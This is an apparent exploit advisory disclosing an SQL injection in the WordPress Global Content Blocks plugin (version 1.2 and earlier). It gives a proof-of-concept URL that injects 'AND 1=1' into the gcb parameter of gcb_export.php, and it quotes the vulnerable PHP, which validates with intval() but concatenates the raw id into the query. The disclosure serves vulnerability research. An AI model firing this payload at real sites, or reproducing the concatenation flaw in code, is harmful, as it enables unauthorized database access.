# Exploit Title: WordPress Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability # Date: 2011-08-18 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/global-content-blocks.1.2.zip # Version: 1.2 (tested) --- PoC --- http://www.site.com/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=1 AND 1=1 --------------- Vulnerable code --------------- $ids = explode(";",$_GET["gcb"]); $final_text = array(); foreach($ids as $id) { if(intval($id)>0) { // intval("1a") => 1 :) $entry = $wpdb->get_row("select * from ".$wpdb->prefix."gcb where id=".$id); $final_text[] = base64_encode($entry->name)."<;>". base64_encode($entry->description)."<;>". base64_encode($entry->value)."<;>". base64_encode($entry->type); } }